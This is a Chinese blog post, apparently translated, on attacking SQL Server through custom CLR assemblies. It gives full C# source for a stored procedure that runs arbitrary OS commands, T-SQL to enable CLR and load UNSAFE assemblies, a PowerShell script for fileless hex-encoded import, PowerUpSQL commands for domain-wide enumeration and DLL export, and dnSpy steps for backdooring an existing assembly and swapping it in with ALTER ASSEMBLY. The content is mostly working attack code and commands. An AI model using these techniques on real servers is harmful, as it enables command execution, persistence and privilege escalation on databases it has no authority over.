Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Attacking SQL Server CLR Assemblies

Attacking SQL Server CLR Assemblies

作者头像
Al1ex
发布于 2022-06-23 07:49:47
发布于 2022-06-23 07:49:47
1.8K00
代码可运行
举报
文章被收录于专栏:网络安全攻防网络安全攻防
运行总次数:0
代码可运行

本文中我将以Nathan Krik的CLR系列文章提到的CLRassembly)为基础进行拓展,同时我也会介绍如何创建、导入、导出以及修改SQL Server的CRL库去实现提权、命令执行以及持久化操作

以下是将要涵盖的内容的概述,你也可以跳过这部分内容:

  • 什么是CLR程序集?
  • 为SQL Server制作自定义CLR DLL
  • 将CLR DLL导入SQL Server
  • 将CLR DLL转换为十六进制字符串并在没有文件的情况下导入它
  • 列出现有的CLR存储过程
  • 将现有CLR程序集导出到DLL
  • 在SQL Server中修改导出的CLR DLL并更改现有的CLR程序集
  • 使用自定义CLR 在 SQL Server中提升权限

什么是SQL Server中的自定义CLR程序集?

出于本博客的考虑,我们将公共语言运行时(CLR)程序集定义为可导入SQL Server的.NET DLL(或DLL组),导入后DLL方法可以链接到存储过程并通过 TSQL执行,创建和导入自定义CLR程序集的能力是开发人员扩展SQL Server 原生功能的好方法,但自然也为攻击者创造了机会

如何为SQL Server制作自定义CLR DLL?

下面是基于Nathan Kirk和一些不错的Microsoft文章执行操作系统命令的C# 模板,当然您可以进行任何您想要的修改,但是一旦您完成了将文件保存到"c:tempcmd_exec.cs"

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;

public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmd_exec (SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:WindowsSystem32cmd.exe";
        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();

        // Create the record and specify the metadata for the columns.
        SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
        
        // Mark the beginning of the result set.
        SqlContext.Pipe.SendResultsStart(record);

        // Set values for each column in the row
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());

        // Send the row back to the client.
        SqlContext.Pipe.SendResultsRow(record);
        
        // Mark the end of the result set.
        SqlContext.Pipe.SendResultsEnd();
        
        proc.WaitForExit();
        proc.Close();
    }
};

现在的目标是使用csc.exe编译器简单地将"c:tempcmd_exec.cs"编译为 DLL,即使您没有安装Visual Studio,csc.exe编译器也会默认附带.NET框架,所以它应该在你的Windows系统的某个地方,下面是帮助找到它的 PowerShell命令

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Get-ChildItem -Recurse "C:WindowsMicrosoft.NET" -Filter "csc.exe" | Sort-Object fullname -Descending | Select-Object fullname -First 1 -ExpandProperty fullname

之后您可以使用类似于以下命令的命令将"c:tempcmd_exec.cs"文件编译为DLL

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe /target:library c:tempcmd_exec.cs

如何将自定义的CLR DLL导入SQL Server?

要将您的新DLL导入SQL Server,您的SQL登录将需要系统管理员权限、CREATE ASSEMBLY权限或ALTER ASSEMBLY权限,按照以下步骤注册您的 DLL并将其链接到存储过程,以便可以通过TSQL执行cmd_exec方法

以系统管理员身份登录您的SQL Server并发出以下TSQL查询

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
-- Select the msdb database
use msdb

-- Enable show advanced options on the server
sp_configure 'show advanced options',1
RECONFIGURE
GO

-- Enable clr on the server
sp_configure 'clr enabled',1
RECONFIGURE
GO

-- Import the assembly
CREATE ASSEMBLY my_assembly
FROM 'c:tempcmd_exec.dll'
WITH PERMISSION_SET = UNSAFE;

-- Link the assembly to a stored procedure
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
GO

现在您应该能够通过"msdb"数据库中的"cmd_exec"存储过程执行操作系统命令,如下例所示

完成后,您可以使用下面的TSQL删除过程和程序集

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
DROP PROCEDURE cmd_exec
DROP ASSEMBLY my_assembly

如何将自定义的CLR DLL转换为十六进制字符串并在没有文件的情况下将其导入?

如果您阅读Nathan Kirk的原始博客系列,您已经知道在将CLR程序集导入 SQL Server时不必引用物理DLL,"CREATE ASSEMBLY"还将接受CLR DLL 文件的十六进制字符串表示,下面是一个PowerShell脚本示例,展示了如何将"cmd_exec.dll"文件转换为TSQL命令,该命令可用于在没有物理文件引用的情况下创建程序集

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# Target file
$assemblyFile = "c:tempcmd_exec.dll"

# Build top of TSQL CREATE ASSEMBLY statement
$stringBuilder = New-Object -Type System.Text.StringBuilder 
$stringBuilder.Append("CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM `n0x") | Out-Null

# Read bytes from file
$fileStream = [IO.File]::OpenRead($assemblyFile)
while (($byte = $fileStream.ReadByte()) -gt -1) {
    $stringBuilder.Append($byte.ToString("X2")) | Out-Null
}

# Build bottom of TSQL CREATE ASSEMBLY statement
$stringBuilder.AppendLine("`nWITH PERMISSION_SET = UNSAFE") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine(" ") | Out-Null

# Build create procedure command
$stringBuilder.AppendLine("CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine(" ") | Out-Null

# Create run os command
$stringBuilder.AppendLine("EXEC[dbo].[cmd_exec] 'whoami'") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine(" ") | Out-Null

# Create file containing all commands
$stringBuilder.ToString() -join "" | Out-File c:tempcmd_exec.txt

如果一切顺利,"c:tempcmd_exec.tx"文件应该包含以下TSQL命令,在示例中十六进制字符串已被截断,但您的字符串应该更长

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
-- Select the MSDB database
USE msdb

-- Enable clr on the server
Sp_Configure ‘clr enabled’, 1
RECONFIGURE
GO

-- Create assembly from ascii hex
CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM 
0x4D5A90000300000004000000F[TRUNCATED]
WITH PERMISSION_SET = UNSAFE 
GO 

-- Create procedures from the assembly method cmd_exec
CREATE PROCEDURE [dbo].[my_assembly] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [cmd_exec].[StoredProcedures].[cmd_exec]; 
GO 

-- Run an OS command as the SQL Server service account
EXEC[dbo].[cmd_exec] 'whoami' 
GO

当您以系统管理员身份从SQL Server中的"c:tempcmd_exec.txt"文件运行 TSQL时,输出应如下所示

PowerUpSQL自动化

如果您之前没有使用过 PowerUpSQL,您可以访问此处的设置页面

我创建了一个名为"Create-SQLFileCLRDll"的PowerUpSQL函数来动态创建类似的DLL和TSQL脚本,它还支持用于设置自定义程序集名称、类名称、方法名称和存储过程名称的选项,如果没有指定,那么它们都是随机的,下面是一个基本的命令示例:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
PS C:temp> Create-SQLFileCLRDll -ProcedureName “runcmd” -OutFile runcmd -OutDir c:temp
C# File: c:tempruncmd.csc
CLR DLL: c:tempruncmd.dll
SQL Cmd: c:tempruncmd.txt

下面是一个用于生成10个示例CLR DLL / CREATE ASSEMBLY TSQL脚本的简短脚本,在实验室中使用CLR程序集时,它可以派上用场

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
1..10| %{ Create-SQLFileCLRDll -Verbose -ProcedureName myfile$_ -OutDir c:temp -OutFile myfile$_ }

如何列出现有的CLR程序集和CLR存储过程?

您可以使用下面的TSQL查询来验证您的CLR程序集是否设置正确,或者开始寻找现有的用户定义的CLR程序集

注意:这是我在这里找到的一些代码的修改版本

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
USE msdb;
SELECT      SCHEMA_NAME(so.[schema_id]) AS [schema_name], 
            af.file_id,                          
            af.name + '.dll' as [file_name],
            asmbly.clr_name,
            asmbly.assembly_id,           
            asmbly.name AS [assembly_name], 
            am.assembly_class,
            am.assembly_method,
            so.object_id as [sp_object_id],
            so.name AS [sp_name],
            so.[type] as [sp_type],
            asmbly.permission_set_desc,
            asmbly.create_date,
            asmbly.modify_date,
            af.content                                           
FROM        sys.assembly_modules am
INNER JOIN  sys.assemblies asmbly
ON          asmbly.assembly_id = am.assembly_id
INNER JOIN  sys.assembly_files af 
ON         asmbly.assembly_id = af.assembly_id 
INNER JOIN  sys.objects so
ON          so.[object_id] = am.[object_id]

通过此查询我们可以看到文件名、程序集名称、程序集类名称、程序集方法以及该方法映射到的存储过程

您应该在结果中看到"my_assembly",如果您运行我之前提供的"Create-SQLFileCLRDll"命令生成的10个TSQL查询,那么您还将看到这些程序集的相关程序集信息

PowerUpSQL自动化

我在PowerUpSQL中为此添加了一个名为"Get-SQLStoredProcedureCLR'的函数,它将遍历可访问的数据库并为每个数据库提供程序集信息,下面是一个命令示例

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' | Out-GridView

您还可以使用以下命令对所有域SQL Server执行它(前提是您具有正确的权限)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Get-SQLInstanceDomain -Verbose | Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' | Format-Table -AutoSize

映射过程参数

攻击者并不是唯一创建不安全程序集的人,有时开发人员会创建执行OS命令或与操作系统资源交互的程序集,因此定位和逆向这些程序集有时会导致权限提升错误,例如如果我们的程序集已经存在,我们可以尝试确定它接受的参数以及如何使用它们,只是为了好玩,让我们使用下面的查询来盲目地确定"cmd_exec"存储过程需要哪些参数

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
SELECT            pr.name as procname,
                        pa.name as param_name, 
                        TYPE_NAME(system_type_id) as Type,
                        pa.max_length, 
                        pa.has_default_value,
                        pa.is_nullable 
FROM             sys.all_parameters pa
INNER JOIN         sys.procedures pr on pa.object_id = pr.object_id
WHERE             pr.type like 'pc' and pr.name like 'cmd_exec'

在这个例子中,我们可以看到它只接受一个名为"execCommand"的字符串参数,针对存储过程的攻击者可能能够确定它可用于操作系统命令执

如何将SQL Server中存在的CLR程序集导出到DLL?

简单地测试现有CLR组装过程的功能并不是我们寻找升级路径的唯一选择,在 SQL Server中我们还可以将用户定义的CLR程序集导出回DLL, 说说从CLR识别到CLR源码吧!首先我们必须识别程序集,将它们导出回DLL,然后对它们进行反编译,以便分析它们的问题(或修改它们以注入后门)

PowerUpSQL 自动化

在上一节中我们讨论了如何使用下面的PowerUpSQL命令列出CLR程序集

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' | Format-Table -AutoSize

相同的功能支持"ExportFolder"选项,如果您设置它,该函数会将程序集 DLL导出到该文件夹,下面是一个示例命令和示例输出

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -ExportFolder c:temp  -Username sa -Password 'sapassword!' | Format-Table -AutoSize

同样如果您是域用户和系统管理员,还可以使用以下命令大规模导出CLR DLL

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Get-SQLInstanceDomain -Verbose | Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' -ExportFolder c:temp | Format-Table -AutoSize

DLL可以在输出文件夹中找到,该脚本将根据每个服务器名称、实例和数据库名称动态构建文件夹结构

现在您可以使用您喜欢的反编译器查看源代码,在过去的一年里我成为了 dnSpy的忠实粉丝,阅读下一节后,您将知道原因

如何修改CLR DLL并覆盖已导入SQL Server的程序集?

下面简要概述了如何使用dnSpy反编译、查看、编辑、保存和重新导入现有 SQL Server CLR DLL,您可以从这里下载dnSpy

https://github.com/dnSpy/dnSpy/releases

对于本练习我们将修改之前从SQL Server导出的cmd_exec.dll

1、在dnSpy中打开cmd_exec.dll文件,在左侧面板中向下钻取直到找到"cmd_exec"方法并选择它,这将立即允许您查看源代码并开始寻找错误

2、接下来右键单击包含源代码的右侧面板,然后选择"Edit Method (C#)..."

3、根据需要编辑代码,然而在这个例子中,我添加了一个简单的"后门",每次调用"cmd_exec"方法时都会向"c:temp"目录添加一个文件,示例代码和屏幕截图如下

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
[SqlProcedure]
public static void cmd_exec(SqlString execCommand)
{
    Process expr_05 = new Process();
    expr_05.StartInfo.FileName = "C:WindowsSystem32cmd.exe";
    expr_05.StartInfo.Arguments = string.Format(" /C {0}", execCommand.Value);
    expr_05.StartInfo.UseShellExecute = true;
    expr_05.Start();
    expr_05.WaitForExit();
    expr_05.Close();
    Process expr_54 = new Process();
    expr_54.StartInfo.FileName = "C:WindowsSystem32cmd.exe";
    expr_54.StartInfo.Arguments = string.Format(" /C 'whoami > c:tempclr_backdoor.txt", execCommand.Value);
    expr_54.StartInfo.UseShellExecute = true;
    expr_54.Start();
    expr_54.WaitForExit();
    expr_54.Close();
}

4、单击编译按钮保存修补的代码,然后从顶部菜单中选择文件,保存模块,然后点击确定

根据Microsoft文章,每次编译CLR时,都会生成一个唯一的GUID并将其嵌入文件头中,以便"区分同一文件的两个版本",这称为MVID(模块版本 ID),要覆盖已导入SQL Server的现有CLR,我们必须手动更改MVID,下面是一个概述

a、如果尚未打开,请在dnspy中打开"cmd_exec",然后深入到PE部分并选择"#GUID"存储流,然后右键单击它并选择"在十六进制编辑器中显示数据"

b、接下来您所要做的就是用任意值修改所选字节之一

c、从顶部菜单中选择文件,然后选择“保存模块...”

PowerShell自动化

您可以使用我之前提供的原始 PowerShell命令,也可以使用下面的 PowerUPSQL 命令示例从新修改的"cmd_exec.dll"文件中获取十六进制字节并生成 ALTER语句

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
PS C:temp> Create-SQLFileCLRDll -Verbose -SourceDllPath .cmd_exec.dll
VERBOSE: Target C#  File: NA
VERBOSE: Target DLL File: .cmd_exec.dll
VERBOSE: Grabbing bytes from the dll
VERBOSE: Writing SQL to: C:UsersSSUTHE~1AppDataLocalTempCLRFile.txt
C# File: NA
CLR DLL: .cmd_exec.dll
SQL Cmd: C:UsersSSUTHE~1AppDataLocalTempCLRFile.txt

新的cmd_exec.txt应该类似于下面的语句

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
-- Choose the msdb database
use msdb
-- Alter the existing CLR assembly
ALTER ASSEMBLY [my_assembly] FROM 
0x4D5A90000300000004000000F[TRUNCATED]
WITH PERMISSION_SET = UNSAFE 
GO

ALTER 语句用于替换现有的CLR,而不是DROP和CREATE,正如微软所说"ALTER ASSEMBLY不会中断正在修改的程序集中运行代码的当前正在运行的会话,当前会话通过使用程序集的未更改位来完成执行", TSQL查询执行应该类似于下面的屏幕截图

我可以使用自定义CLR在SQL Server中提升权限吗?

简短的回答是肯定的,但是必须首先满足一些不太可能的条件

如果您的SQL Server登录名不是系统管理员,但具有CREATE或ALTER ASSEMBLY权限则您可以使用自定义CLR获得系统管理员权限,该CLR在 SQL Server服务帐户的上下文下执行操作系统命令(通过默认),但是要成功,您在其中创建CLR程序集的数据库必须将"is_trustworthy"标志设置为"1",并打开"clr enabled"服务器设置,默认情况下,只有msdb数据库是可信任的,并且禁用了"启用clr"设置

我从未见过明确分配给SQL登录名的CREATE或ALTER ASSEMBLY权限,但是我已经看到将应用程序SQL登录添加到"db_ddladmin"数据库角色并且确实具有"ALTER ASSEMBLY"权限

注意:SQL Server 2017 引入了"clr strict security"配置,Microsoft文档指出需要禁用该设置才能允许创建UNSAFE或EXTERNAL程序集

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-05-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
MSSQL 备忘录
将xp_regread(作为系统管理员)与 PowerUpSQL 一起使用。以下命令从注册表读取自动登录密码。
Khan安全团队
2022/07/13
2.3K0
MSSQL 备忘录
MSSQL 利用 CLR 技术执行系统命令
在某项目外围打点的过程中,通过文件上传拿到一个 WebShell。通过 WebShell 能够执行大多数的命令,且直接是 System 权限,但却无法执行 dir 进行列目录,导致冰蝎和蚁剑都无法使用。使用冰蝎进行命令行下的操作,回显极其的慢。通过 netstat,观察到站点连接内网中某台的服务器的 1433 端口,判断是站库分离的情形,于是决定建立隧道对数据库服务器进行渗透。而稍微大一点点的文件,都无法通过网站业务的上传功能进行上传,于是通过 WebShell 写入文件的方式,写入 reGeorg 隧道文件,快速建立起代理。
信安之路
2020/10/30
3.3K0
MSSQL 利用 CLR 技术执行系统命令
干货 | MSSQL注入和漏洞利用姿势总结
Microsoft SQL Server 是微软开发的关系型数据库管理系统。作为数据库服务器,它是一种软件产品,主要功能是根据其他软件应用程序的请求存储和检索数据,这些应用程序可以在同一台计算机上运行,也可以在网络(包括 Internet)上的另一台计算机上运行。SQL Server 默认开放的端口是 TCP 1433。
HACK学习
2023/01/03
7.1K0
干货 | MSSQL注入和漏洞利用姿势总结
MSSQL之二十二 CLR及SQL
我们一起来做个示例,在.NET中新建一个类,并在这个类里新建一个方法,然后在SQL Server中调用这个方法。按照微软所述,通过宿主 Microsoft .NET Framework 2.0 公共语言运行库 (CLR),SQL Server 2005显著地增强了数据库编程模型。 这使得开发人员可以用任何CLR语言(如C#、VB.NET或C++等)来写存储过程、触发器和用户自定义函数。
张哥编程
2024/12/17
1020
手把手带你开发一款 IIS 模块后门
记得之前看一篇 APT 组织的报告时偶然间看到过 IIS 模块后门然后在网上找了找了资料,想自己开发一款然后开发到一半因为一些事情就停止了很久,这次清理项目文件的时候又有想了起来就打算重新用 C# 继续写出来。
信安之路
2019/09/17
1.9K0
手把手带你开发一款 IIS 模块后门
Windows 系统提权方式汇总
在渗透测试中,提升自己的权限是经常遇到的问题,往往在渗透中最容易获取的权限就是一个webshell,如果网站是架设在Windows系统上的,这时就可能遇到这样的问题,还有一种情况是在做横向渗透的时候,收集到一些可以远程连接桌面的帐号,这是也需要,在实际的渗透中有很多的地方会需要这个操作,这个系列就主要介绍各种提权的方式。
信安之路
2022/02/11
2.9K0
Windows 系统提权方式汇总
MSSQL利用总结
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。 雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
安恒网络空间安全讲武堂
2019/09/17
3.4K0
MSSQL利用总结
SQL Server命令执行方式汇总
学习内网基础时发现对Mssql的命令执行不太熟悉,因此进行了简单总结,希望对正在学习此类知识的师傅有所帮助。
用户9691112
2023/05/18
1.5K0
SQL Server命令执行方式汇总
定时同步服务器上的数据的例子:
--测试环境,SQL Server2000,远程服务器名:xz,用户名为:sa,无密码,测试数据库:test --1. 链接服务器上的表 create table [user](id int primary key,number varchar(4),name varchar(10)) go --2. 本地服务器上的表 --本机的表,state说明:null 表示新增记录,1 表示修改过的记录,0 表示无变化的记录 if exists (select * from dbo.sysobjects where id = object_id(N'[user]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) drop table [user] GO create table [user](id int identity(1,1),number varchar(4),name varchar(10),state bit) go
jack.yang
2025/04/05
880
SQLServer:用户自定义数据类型用法
今天给大家梳理一下SQLServer:用户自定义数据类型用法,希望对大家能有所帮助!
小明互联网技术分享社区
2021/02/26
1.1K0
SQLServer:用户自定义数据类型用法
MSSQL横向移动
使用发现的凭证在环境中横向移动、在时间受限的操作过程中,快速可靠地使用一组新获得的凭据的能力至关重要。这篇博客文章介绍了如何通过MSSQL CLR自动执行横向移动,而无需接触磁盘*或不需要XP_CMDSHELL,以及如何防止和检测到这种情况。
Khan安全团队
2021/03/10
3.2K0
MSSQL横向移动
干货 | MSSQL 注入攻击与防御
本文所用数据库涉及SQL Server 2k5,2k8,2k12,其次对于绕过姿势和前文并无太大差别,就不做过多的讲解,主要放在后面的提权上
HACK学习
2019/08/06
1.7K0
干货 | MSSQL 注入攻击与防御
Mssql 从测试到实战
数据库是存放数据的仓库。它的存储空间很大,可以存放百万条、千万条、上亿条数据。但是数据库并不是随意地将数据进行存放,是有一定的规则的,否则查询的效率会很低。当今世界是一个充满着数据的互联网世界,充斥着大量的数据。即这个互联网世界就是数据世界。数据的来源有很多,比如出行记录、消费记录、浏览的网页、发送的消息等等。除了文本类型的数据,图像、音乐、声音都是数据。
信安之路
2022/10/04
1.7K0
Mssql 从测试到实战
clrinject:向CLR Runtimes和AppDomain中注入代码的工具
clrinject是一款可将C#,EXE或DLL程序集,注入另一个进程CLR Runtimes和AppDomain的工具。注入的程序集可访问injectee进程类的静态实例,从而影响其内部状态。
FB客服
2018/12/11
9330
clrinject:向CLR Runtimes和AppDomain中注入代码的工具
SQLServer:用户自定义数据类型用法
今天给大家梳理一下SQLServer:用户自定义数据类型用法,希望对大家能有所帮助!
小明互联网技术分享社区
2021/02/23
2.2K0
SQLServer:用户自定义数据类型用法
快速入门系列--CLR--01基本概念
在.NET平台用C#这么久,自然会发现其版本很多,相应的概念也会很多,常常都是萌萌哒。而在实际工作中经常会遇到需要配置dll版本号,公钥token等场景,因而对C#、NET、CLR、框架类型等基础概念有个大略的了解有很大必要性。当涉及到程序集版本时,注意查看全局程序集缓存GAC(Global Assembly Cache),路径为c:\windows\assembly,还有几个相似的.net framework路径,同时可以使用IL Disassembler (x64)查看DLL中所引用的外部库信息。
用户1216676
2018/01/24
1.3K0
利用SqlDataSourceEnumerator获取嵌入SQL主机
SqlDataSourceEnumerator类向应用程序开发人员公开此信息,提供包含所有可见服务器的信息的DataTable。此返回的表包含网络上可用的服务器实例的列表,该SQL Server允许应用程序在当前网络中查找SQL Server实例。列表与用户尝试创建新连接时提供的列表匹配,并展开包含连接属性上所有可用服务器的下拉列表。此类。显示的结果并非总是完整的。
重生信息安全
2020/04/26
1.1K0
利用SqlDataSourceEnumerator获取嵌入SQL主机
Windows提权系列中篇
这一篇的内容主要讲的是关于利用数据库服务来进行提权操作,今天的主要内容是利用mysql、mssql进行提权。
信安之路
2018/08/08
2.5K0
Windows提权系列中篇
学习mssql从0到1
2005的xp_cmdshell 你要知道他的权限一般是system 而2008他是nt authority\network service
红队蓝军
2022/03/10
1.2K0
学习mssql从0到1
绕过SQL Server的登录触发器限制
在做渗透测试任务时,我们常常会碰到一些直连SQL Server数据库的桌面应用。但偶尔也会碰到一些后端为SQL Server的应用,并且其只允许来自预定义的主机名或应用程序列表的连接。这些类型的限制通常是通过登录触发器来强制执行的。在本文中,我将向大家展示如何利用连接字符串属性欺骗主机名和应用程序名称来绕过这些限制。示例中将会包括SSMS和PowerUpSQL。这对于那些继承了旧式桌面应用的渗透测试人员和开发人员非常有用。
FB客服
2018/07/31
2.2K0
绕过SQL Server的登录触发器限制
相关推荐
MSSQL 备忘录
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验